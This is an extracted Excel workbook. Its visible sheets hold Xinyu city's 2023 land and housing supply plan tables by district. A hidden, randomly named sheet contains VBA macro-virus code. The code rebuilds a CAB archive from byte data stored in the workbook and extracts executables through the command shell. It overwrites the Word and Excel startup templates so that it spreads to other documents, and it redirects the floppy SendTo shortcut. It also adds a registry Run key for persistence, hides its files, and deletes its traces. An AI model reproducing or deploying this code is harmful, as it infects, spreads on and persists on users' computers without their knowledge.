{"text_format":"3","workbook":"xls","n_sheets":5,"sheets":["JSTFPMNJVYULGQ","ORUFWXI","汇总表一","汇总表二","Sheet1"],"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"JSTFPMNJVYULGQ","index":0,"n_rows":82,"n_cols":3,"rows_kept":82,"hidden":true,"flags":["formulas_cached_only"]}
[null,null,"Private Sub createcabfile()"]
[null,null,"Dim ch As Byte"]
[null,null,"on error resume next"]
[null,null,"Set fso = CreateObject(\"scripting.filesystemobject\")"]
[null,null,"Set w = CreateObject(\"wscript.shell\")"]
[null,null,"myfolder = w.specialfolders(\"Templates\") & \"\\Software\\\""]
[null,null,"If Not fso.folderexists(myfolder) Then"]
[null,null,"fso.createfolder myfolder"]
[null,null,"End If"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"normal.xlm\" then"]
[null,null,"workbooks(i).close"]
[null,null,"fso.deletefile Application.StartupPath & \"\\normal.xlm\""]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"norma1.xlm\" then"]
[null,null,"goto a1"]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"cabfile= \"c:\\cab.cab\""]
[null,null,"If Not fso.fileexists(Application.StartupPath & \"\\norma1.xlm\") Then"]
[null,null,"fso.delete cabfile"]
[null,null,"open cabfile for binary access write as #1"]
[null,null,"For i = 1 To 150"]
[null,null,"hv = ThisWorkbook.Sheets(\"(m1)_(m2)_(m3)\").Cells(i, 2).Value"]
[null,null,"n=1"]
[null,null,"m=instr(hv,\" \")"]
[null,null,"do while m>0"]
[null,null,"ch=CByte(mid(hv,n,m-n))"]
[null,null,"put #1,,ch"]
[null,null,"n=m+1"]
[null,null,"m=instr(n,hv,\" \")"]
[null,null,"loop"]
[null,null,"Next"]
[null,null,"close #1"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\sendto.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extrac32 /EKKKKKKKKKKKc:\\cab.cab\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extract /EKKKKKKKKKKKc:\\cab.cab\", 0, True"]
[null,null,"fso.deletefile cabfile"]
[null,null,"fso.copyfile \"c:\\normal.dot\", myfolder, True"]
[null,null,"set word=createobject(\"word.application\")"]
[null,null,"ntpath=word.NormalTemplate.Path & \"\\\""]
[null,null,"word.quit"]
[null,null,"fso.copyfile \"c:\\normal.dot\", ntpath, True"]
[null,null,"fso.copyfile \"c:\\norma1.xlm\", Application.StartupPath & \"\\\", True"]
[null,null,"fso.copyfile \"c:\\internet.exe\", fso.getspecialfolder(1) & \"\\\""]
[null,null,"set fold=fso.getfolder(w.SpecialFolders(\"SendTo\"))"]
[null,null,"for each ff in fold.files"]
[null,null,"if instr(ff.name,\"软盘\")>0 then"]
[null,null,"set lnk=w.CreateShortcut(fold.path & \"\\\" & ff.name)"]
[null,null,"lnk.TargetPath=\"c:\\sendto.exe\""]
[null,null,"lnk.IconLocation=\"shell32.dll,6\""]
[null,null,"lnk.save"]
[null,null,"goto e2"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"e2:"]
[null,null,"fso.deletefile \"c:\\normal.dot\""]
[null,null,"fso.deletefile \"c:\\norma1.xlm\""]
[null,null,"fso.deletefile \"c:\\internet.exe\""]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\sendto.exe\", 0, True"]
[null,null,"w.regwrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internet.exe\",\"internet.exe\""]
[null,null,"w.regdelete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internat.exe\""]
[null,null,"End If"]
[null,null,"Workbooks.Open Application.StartupPath & \"\\norma1.xlm\""]
[null,null,"thisworkbook.Sheets(\"(m1)_(m2)_(m3)\").Columns(2).Copy workbooks(\"norma1.xlm\").sheets(\"(m1)_(m2)_(m3)\").Columns(2)"]
[null,null,"workbooks(\"norma1.xlm\").save"]
[null,null,"fso.copyfile Application.StartupPath & \"\\norma1.xlm\",myfolder,true"]
[null,null,"a1:"]
[null,null,"fso.deletefile \"c:\\excel.txt\""]
[null,null,"Application.DisplayAlerts = False"]
[null,null,"for i=1 to thisworkbook.sheets.count"]
[null,null,"if left(thisworkbook.sheets(i).name,3)=\"模块表\" then"]
[null,null,"ThisWorkbook.Sheets(i).Delete"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"Application.DisplayAlerts = True"]
[null,null,"ThisWorkbook.Saved=True"]
[null,null,"End Sub"]

{"sheet":"ORUFWXI","index":1,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"汇总表一","index":2,"n_rows":11,"n_cols":9,"rows_kept":11,"merged":[[0,0,0,8],[1,0,1,8],[2,0,2,8],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,4,5],[3,6,4,6],[3,7,4,7],[3,8,4,8]],"flags":["formulas_cached_only"]}
["附件1：      "]
["2023年新余市国有建设用地供应计划表（汇总表一）"]
[" 单位：亩"]
["            用途","合计","商服用地","工矿仓储用地","住宅用地","公共管理与公共服务用地","交通运输用地","水域及水利设施用地","特殊用地"]
["单位"]
["市本级",{"v":2689.456,"d":"2689.46"},44.91,85.87,{"v":1061,"d":"1061.00"},{"v":165.5,"d":"165.50"},{"v":1225.176,"d":"1225.18"},107]
["高新区",2877.02,17.23,2175.98,218.43,134.46,330.92]
["渝水区",{"v":570.8,"d":"570.80"},{"v":4,"d":"4.00"},{"v":211,"d":"211.00"},{"v":9.2,"d":"9.20"},{"v":258.6,"d":"258.60"},{"v":88,"d":"88.00"}]
["仙女湖区",2464.67,114.36,{"v":545,"d":"545.00"},137.59,1401.88,265.84]
["新宜吉合作示范区",1101.21,214.28,213.68,183.12,51.27,438.86]
["总计",{"v":9703.155999999999,"d":"9703.16"},394.78,{"v":3231.5299999999997,"d":"3231.53"},{"v":1609.3400000000001,"d":"1609.34"},2011.71,{"v":2348.796,"d":"2348.80"},{"v":107,"d":"107.00"},{"v":0,"d":"0.00"}]

{"sheet":"汇总表二","index":3,"n_rows":12,"n_cols":8,"rows_kept":12,"merged":[[0,0,0,7],[1,0,1,7],[2,0,2,7],[3,0,5,0],[3,1,5,1],[3,2,3,3],[3,4,3,5],[3,6,5,6],[3,7,5,7],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5]],"flags":["formulas_cached_only"]}
["附件1："]
["2023年新余市住房用地供应计划汇总表（汇总表二）"]
["  单位：亩"]
["县、市","住宅用地供地总量","产权住宅",null,"租赁住宅用地",null,"其他住宅用地","租赁住宅用地用地占比（%）"]
[null,null,"商品住房用地","共有产权住宅用地","保障性租赁住宅用地","市场化租赁住宅用地"]
[]
["市本级",{"v":1061,"d":"1061.00"},{"v":1061,"d":"1061.00"}]
["高新区",218.43,218.43]
["渝水区",{"v":9.2,"d":"9.20"},{"$nulls":4},{"v":9.2,"d":"9.20"}]
["仙女湖区",137.59,137.59]
["新宜吉合作示范区",183.12,183.12]
["总计",{"v":1609.3400000000001,"d":"1609.34"},{"v":1600.1399999999999,"d":"1600.14"},{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},{"v":9.2,"d":"9.20"},{"v":0,"d":"0.00"}]

{"sheet":"Sheet1","index":4,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}